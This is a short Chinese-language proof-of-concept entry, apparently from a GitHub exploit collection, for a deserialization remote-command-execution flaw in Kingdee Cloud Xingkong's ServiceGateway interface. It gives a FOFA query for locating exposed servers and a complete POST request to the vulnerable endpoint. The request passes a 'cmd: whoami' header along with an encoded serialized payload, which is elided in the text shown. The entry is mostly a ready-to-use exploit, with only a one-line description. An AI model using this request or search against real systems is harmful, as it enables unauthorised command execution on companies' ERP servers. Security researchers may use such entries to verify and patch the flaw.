## 金蝶云-星空ServiceGateway反序列化漏洞

金蝶星空云ServiceGateway.GetServiceUri.common.kdsvc接口存在反序列化漏洞，可执行恶意命令回显结果。

## fofa
```
body="kdUtils.min.js"
```


## poc
```
POST /Kingdee.BOS.ServiceFacade.ServicesStub.ServiceGateway.GetServiceUri.common.kdsvc HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Content-Length: 15907
Accept-Encoding: gzip, deflate, br
Connection: close
Content-Type: text/json
cmd: whoami
Connection: close

{"ap0":"[encoded data, 15884 characters]","format":"3"}
```

![0c9abbc51db7a39f47da918b12c9435b](https://github.com/wy876/POC/assets/139549762/a9e151a4-650d-40c1-ad13-00313bf1dd82)
